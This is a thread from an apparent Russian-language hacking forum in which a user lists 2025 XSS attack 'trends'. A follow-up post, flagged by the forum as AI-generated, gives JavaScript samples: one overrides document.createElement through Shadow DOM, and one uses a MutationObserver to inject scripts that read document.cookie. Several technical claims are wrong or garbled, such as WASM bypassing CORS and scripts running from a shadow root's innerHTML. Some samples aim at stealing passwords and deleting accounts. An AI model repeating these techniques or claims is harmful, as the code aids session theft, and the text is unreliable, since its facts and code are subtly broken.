• XSS.stack #1 – первый литературный журнал от юзеров форума

Тренды горячих эксплойтов XSS в 2025 году

Отслеживать
_Sentap

_Sentap

Data Thug
Premium
Регистрация
14.05.2025
Сообщения
58
Реакции
52
Депозит
0.00
Собираюсь покопаться в эксплойтах XSS... Хочу немного расписать про это...
В 2025 году в XSS настоящий бум... DOM Clobbering с новым трюком. Теперь это не просто инъекция <a id="window">. Хакеры активно используют Shadow DOM. Создавая кастомный элемент в Shadow Root и переписывая чувствительные методы, такие как document.createElement, можно внедрить вредоносный JS код прямо в движок рендеринга браузера. Поскольку это отделено от стандартного DOM, классические фильтры WAF оказываются слепыми!

Вторая тема... токсичные MutationObserver, которые реально портят жизнь. Их можно настроить так, чтобы отслеживать любые изменения в DOM и в бесконечном цикле внедрять XSS-пейлоады в динамические элементы. Представьте SPA на React: если запустить вредоносный Observer, можно перед финальным рендером закинуть скрипт в DOM и полностью разрушить состояние приложения. Это клиентская атака, так что сервер вообще не в курсе!

Третий момент — обход CSP через JSONP и старые эндпоинты. Многие сайты до сих пор используют небрежные CSP, думая, что unsafe-inline их спасёт. Хакеры эксплуатируют callback’и JSONP, чтобы загружать вредоносные скрипты как ответы API. Например, <script src="/api/jsonp?cb=maliciousCode"> может обойти все политики CSP. Этот метод — как два пальца для legacy-приложений, которые всё ещё сидят на jQuery 3.x!

Четвёртое — XSS в WebAssembly! Поверьте, некоторые уже манипулируют WASM, чтобы запускать XSS на более низком уровне. Внедряя вредоносный модуль WASM в приложения, использующие WebAssembly для рендеринга или тяжёлых вычислений, можно инжектировать JS-код прямо в память браузера. Поскольку это работает на бинарном уровне, антивирусы и WAF просто парализованы. А ещё WASM не подчиняется CORS, так что может утечь чувствительные данные на любой домен!

Пятое — крутая техника под названием Event Listener Hijacking. Это реально подло! Хакеры внедряют вредоносный слушатель на чувствительные элементы, вроде <form> или <button>, и могут отслеживать любые события (клики, нажатия клавиш) и выполнять свой код раньше основного приложения. Например, повесь слушатель на oninput поля пароля... и всё, что вводит пользователь, у тебя в кармане! Этот метод часто встречается в приложениях на Vue.js с небрежной делегацией событий.

Шестое... злоупотребление postMessage в iframe’ах или воркерах. Многие сайты используют window.postMessage для общения между фреймами, но не проверяют origin должным образом. Хакер может внедрить вредоносный iframe и отправить фейковое сообщение, чтобы выполнить JS-код в контексте родительского окна. Этот метод активно косит жертв в чатах или дашбордах с Web Worker’ами. Был случай с известной платформой, где из-за простого postMessage украли сессию пользователя!

И последнее... эксплуатация Fetch API через уязвимые credentials. Хакеры используют fetch с credentials: include, чтобы отправлять вредоносные запросы к чувствительным API. Например, если приложение не использует SameSite Cookie правильно, XSS-пейлоад может отправить fetch на /api/delete-account и... пух! — аккаунт пользователя удалён. Поскольку запрос идёт из браузера жертвы, сервер думает, что это сам пользователь.

Если что-то протестировали, кидайте в форум, посмотрим, как с этим бороться! 😈
 
Пожалуйста, обратите внимание, что пользователь заблокирован
На статью не тянет. А где примеры, практические? Да и кому нужны эти тренды. Нам нужны больше практических примеров.
 
weaver сказал(а):
На статью не тянет. А где примеры, практические? Да и кому нужны эти тренды. Нам нужны больше практических примеров.
да уж, сколько раз видел, что он поднимает тему, а ничего не изменяет
 
Контент сгенерирован AI
weaver сказал(а):
На статью не тянет. А где примеры, практические? Да и кому нужны эти тренды. Нам нужны больше практических примеров.
Спасибо за фидбек! Ты прав, что хочешь конкретных практичных примеров. Текст выше был просто обзор трендов XSS в 2025, чтобы дать общую картинку... но давай теперь замутим что-то техническое и реальное, чтобы всё стало понятнее. я ща кину пару сценариев с кодом и подробными объяснениями, которые можешь затестить в своей тестовой среде (ну там локальный лаб или платформы для баг-баунти). для каждого примера ещё и защиту предложу...
1. DOM Clobbering с Shadow DOM
сценарий такой: представь, у тебя веб-приложение, где юзер может кидать ограниченный HTML (ну типа тега <a>) в поле для комментов... но фильтры не особо шарят за Shadow DOM и не проверяют его нормально. хакер может этим воспользоваться и переписать важные методы, типа document.createElement...

короче, пример кода:


HTML: 
<!-- то, что юзер закидывает -->
<a id="document" href="#"></a>
<div id="myElement"></div>

<script>
  // хакер лезет в Shadow DOM и мутит дичь...
  const shadowHost = document.createElement('div');
  document.body.appendChild(shadowHost);
  const shadow = shadowHost.attachShadow({ mode: 'open' });
 
  // переписываем createElement, чтобы всё сломать
  shadow.innerHTML = `
    <script>
      const originalCreate = document.createElement;
      document.createElement = function(tag) {
        if (tag === 'script') {
          alert('Взломали! Засунули злой скрипт...');
          return;
        }
        return originalCreate.apply(document, arguments);
      };
    </script>
  `;
 
  // проверяем: когда приложение зовёт createElement
  document.createElement('script'); // и тут срабатывает наш злой код...
</script>
как это работает? хакер закидывает тег и начинает мутить с DOM (типа DOM Clobbering)... он ломает свойства, подменяет их... а с Shadow DOM делает себе песочницу, где WAF фильтры просто слепые... не видят ничего... и вот так он может переписать всякие важные методы... короче, мрак...


защита:


фильтруй все, что юзеры вводят, жестко... только разрешенные теги, никаких подозрительных атрибутов типа id... юзай Content-Security-Policy (CSP) script-src strict-dynamic, чтоб скрипты левые не запускались... это важно... Shadow DOM в приложении ограничивай... не давай ему разгуляться... API для Shadow Root только там, где без него никак... и всё...


фильтруй всё, что юзеры кидают, жёстко... только разрешённые тэги, никаких опасных штук вроде id.
ставь Content-Security-Policy (CSP) с script-src strict-dynamic, чтоб блочить левые скрипты...
Shadow DOM в приложении ограничивай. используй API Shadow Root только где реально надо...

мутацияОбсервер это что-то ядовитое...


ситуация такая... есть у тебя spa приложение... ну типа реакт... пользователь может кидать динамический контент... типа сообщений в чате... а хакер... он хитрый... берет и использует MutationObserver... следит за изменениями в дом... и бац... закидывает туда xss пейлоад...


короче... страшно... все меняется... а он сидит и смотрит... и пихает всякую гадость...
HTML: 
<div id="chat"></div>

<script>
  // Хакер настраивает MutationObserver
  const observer = new MutationObserver((mutations) => {
    mutations.forEach((mutation) => {
      if (mutation.addedNodes.length) {
        // Внедрение вредоносного кода в новые узлы
        const maliciousScript = document.createElement('script');
        maliciousScript.text = `alert('Взломано! Данные украдены: ' + document.cookie);`;
        document.body.appendChild(maliciousScript);
      }
    });
  });

  // Наблюдение за изменениями в DOM
  observer.observe(document.body, { childList: true, subtree: true });

  // Тест: когда приложение добавляет новое сообщение в чат
  document.getElementById('chat').innerHTML += '<p>Новое сообщение</p>';
</script>
 
_Sentap сказал(а):
Спасибо за фидбек! Ты прав, что хочешь конкретных практичных примеров. Текст выше был просто обзор трендов XSS в 2025, чтобы дать общую картинку... но давай теперь замутим что-то техническое и реальное, чтобы всё стало понятнее. я ща кину пару сценариев с кодом и подробными объяснениями, которые можешь затестить в своей тестовой среде (ну там локальный лаб или платформы для баг-баунти). для каждого примера ещё и защиту предложу...
1. DOM Clobbering с Shadow DOM
сценарий такой: представь, у тебя веб-приложение, где юзер может кидать ограниченный HTML (ну типа тега <a>) в поле для комментов... но фильтры не особо шарят за Shadow DOM и не проверяют его нормально. хакер может этим воспользоваться и переписать важные методы, типа document.createElement...

короче, пример кода:


HTML: 
<!-- то, что юзер закидывает -->
<a id="document" href="#"></a>
<div id="myElement"></div>

<script>
  // хакер лезет в Shadow DOM и мутит дичь...
  const shadowHost = document.createElement('div');
  document.body.appendChild(shadowHost);
  const shadow = shadowHost.attachShadow({ mode: 'open' });
 
  // переписываем createElement, чтобы всё сломать
  shadow.innerHTML = `
    <script>
      const originalCreate = document.createElement;
      document.createElement = function(tag) {
        if (tag === 'script') {
          alert('Взломали! Засунули злой скрипт...');
          return;
        }
        return originalCreate.apply(document, arguments);
      };
    </script>
  `;
 
  // проверяем: когда приложение зовёт createElement
  document.createElement('script'); // и тут срабатывает наш злой код...
</script>
как это работает? хакер закидывает тег и начинает мутить с DOM (типа DOM Clobbering)... он ломает свойства, подменяет их... а с Shadow DOM делает себе песочницу, где WAF фильтры просто слепые... не видят ничего... и вот так он может переписать всякие важные методы... короче, мрак...


защита:


фильтруй все, что юзеры вводят, жестко... только разрешенные теги, никаких подозрительных атрибутов типа id... юзай Content-Security-Policy (CSP) script-src strict-dynamic, чтоб скрипты левые не запускались... это важно... Shadow DOM в приложении ограничивай... не давай ему разгуляться... API для Shadow Root только там, где без него никак... и всё...


фильтруй всё, что юзеры кидают, жёстко... только разрешённые тэги, никаких опасных штук вроде id.
ставь Content-Security-Policy (CSP) с script-src strict-dynamic, чтоб блочить левые скрипты...
Shadow DOM в приложении ограничивай. используй API Shadow Root только где реально надо...

мутацияОбсервер это что-то ядовитое...


ситуация такая... есть у тебя spa приложение... ну типа реакт... пользователь может кидать динамический контент... типа сообщений в чате... а хакер... он хитрый... берет и использует MutationObserver... следит за изменениями в дом... и бац... закидывает туда xss пейлоад...


короче... страшно... все меняется... а он сидит и смотрит... и пихает всякую гадость...
HTML: 
<div id="chat"></div>

<script>
  // Хакер настраивает MutationObserver
  const observer = new MutationObserver((mutations) => {
    mutations.forEach((mutation) => {
      if (mutation.addedNodes.length) {
        // Внедрение вредоносного кода в новые узлы
        const maliciousScript = document.createElement('script');
        maliciousScript.text = `alert('Взломано! Данные украдены: ' + document.cookie);`;
        document.body.appendChild(maliciousScript);
      }
    });
  });

  // Наблюдение за изменениями в DOM
  observer.observe(document.body, { childList: true, subtree: true });

  // Тест: когда приложение добавляет новое сообщение в чат
  document.getElementById('chat').innerHTML += '<p>Новое сообщение</p>';
</script>
а самому впадлу написать? весь твой текст, примеры, задумка через ИИ
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх